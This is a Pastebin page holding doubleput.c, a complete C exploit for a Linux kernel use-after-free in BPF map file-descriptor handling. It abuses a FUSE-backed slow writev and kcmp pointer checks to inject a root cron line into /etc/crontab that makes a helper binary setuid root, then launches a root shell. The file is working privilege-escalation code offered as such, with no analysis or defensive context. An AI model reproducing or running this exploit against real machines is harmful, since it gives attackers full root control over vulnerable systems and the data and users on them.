Advertisement
_d3f4ult

doubleput.c

May 9th, 2016
512
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.23 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #include <stdbool.h>
  3. #include <errno.h>
  4. #include <err.h>
  5. #include <unistd.h>
  6. #include <fcntl.h>
  7. #include <sched.h>
  8. #include <signal.h>
  9. #include <stdlib.h>
  10. #include <stdio.h>
  11. #include <string.h>
  12. #include <sys/types.h>
  13. #include <sys/stat.h>
  14. #include <sys/syscall.h>
  15. #include <sys/prctl.h>
  16. #include <sys/uio.h>
  17. #include <sys/mman.h>
  18. #include <sys/wait.h>
  19. #include <linux/bpf.h>
  20. #include <linux/kcmp.h>
  21.  
  22. #ifndef __NR_bpf
  23. # if defined(__i386__)
  24. #  define __NR_bpf 357
  25. # elif defined(__x86_64__)
  26. #  define __NR_bpf 321
  27. # elif defined(__aarch64__)
  28. #  define __NR_bpf 280
  29. # else
  30. #  error
  31. # endif
  32. #endif
  33.  
  34. int uaf_fd;
  35.  
  36. int task_b(void *p) {
  37.     /* step 2: start writev with slow IOV, raising the refcount to 2 */
  38.     char *cwd = get_current_dir_name();
  39.     char data[2048];
  40.     sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
  41.     struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
  42.     if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
  43.         errx(1, "system() failed");
  44.     int fuse_fd = open("fuse_mount/hello", O_RDWR);
  45.     if (fuse_fd == -1)
  46.         err(1, "unable to open FUSE fd");
  47.     if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
  48.         errx(1, "unable to write to FUSE fd");
  49.     struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
  50.     if (iov_ == MAP_FAILED)
  51.         err(1, "unable to mmap FUSE fd");
  52.     fputs("starting writev\n", stderr);
  53.     ssize_t writev_res = writev(uaf_fd, iov_, 1);
  54.     /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
  55.     if (writev_res == -1)
  56.         err(1, "writev failed");
  57.     if (writev_res != strlen(data))
  58.         errx(1, "writev returned %d", (int)writev_res);
  59.     fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
  60.     while (1) sleep(1); /* whatever, just don't crash */
  61. }
  62.  
  63. void make_setuid(void) {
  64.     /* step 1: open writable UAF fd */
  65.     uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
  66.     if (uaf_fd == -1)
  67.         err(1, "unable to open UAF fd");
  68.     /* refcount is now 1 */
  69.  
  70.     char child_stack[20000];
  71.     int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
  72.     if (child == -1)
  73.         err(1, "clone");
  74.     sleep(3);
  75.     /* refcount is now 2 */
  76.  
  77.     /* step 2+3: use BPF to remove two references */
  78.     for (int i=0; i<2; i++) {
  79.         struct bpf_insn insns[2] = {
  80.             {
  81.                 .code = BPF_LD | BPF_IMM | BPF_DW,
  82.                 .src_reg = BPF_PSEUDO_MAP_FD,
  83.                 .imm = uaf_fd
  84.             },
  85.             {
  86.             }
  87.         };
  88.         union bpf_attr attr = {
  89.             .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
  90.             .insn_cnt = 2,
  91.             .insns = (__aligned_u64) insns,
  92.             .license = (__aligned_u64)""
  93.         };
  94.         if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
  95.             errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
  96.         if (errno != EINVAL)
  97.             err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
  98.     }
  99.     /* refcount is now 0, the file is freed soon-ish */
  100.  
  101.     /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
  102.     int status;
  103.     int hostnamefds[1000];
  104.     int used_fds = 0;
  105.     bool up = true;
  106.     while (1) {
  107.         if (waitpid(child, &status, WNOHANG) == child)
  108.             errx(1, "child quit before we got a good file*");
  109.         if (up) {
  110.             hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
  111.             if (hostnamefds[used_fds] == -1)
  112.                 err(1, "open target file");
  113.             if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
  114.             used_fds++;
  115.             if (used_fds == 1000) up = false;
  116.         } else {
  117.             close(hostnamefds[--used_fds]);
  118.             if (used_fds == 0) up = true;
  119.         }
  120.     }
  121.     fputs("woohoo, got pointer reuse\n", stderr);
  122.     while (1) sleep(1); /* whatever, just don't crash */
  123. }
  124.  
  125. int main(void) {
  126.     pid_t child = fork();
  127.     if (child == -1)
  128.         err(1, "fork");
  129.     if (child == 0)
  130.         make_setuid();
  131.     struct stat helperstat;
  132.     while (1) {
  133.         if (stat("suidhelper", &helperstat))
  134.             err(1, "stat suidhelper");
  135.         if (helperstat.st_mode & S_ISUID)
  136.             break;
  137.         sleep(1);
  138.     }
  139.     fputs("suid file detected, launching rootshell...\n", stderr);
  140.     execl("./suidhelper", "suidhelper", NULL);
  141.     err(1, "execl suidhelper");
  142. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement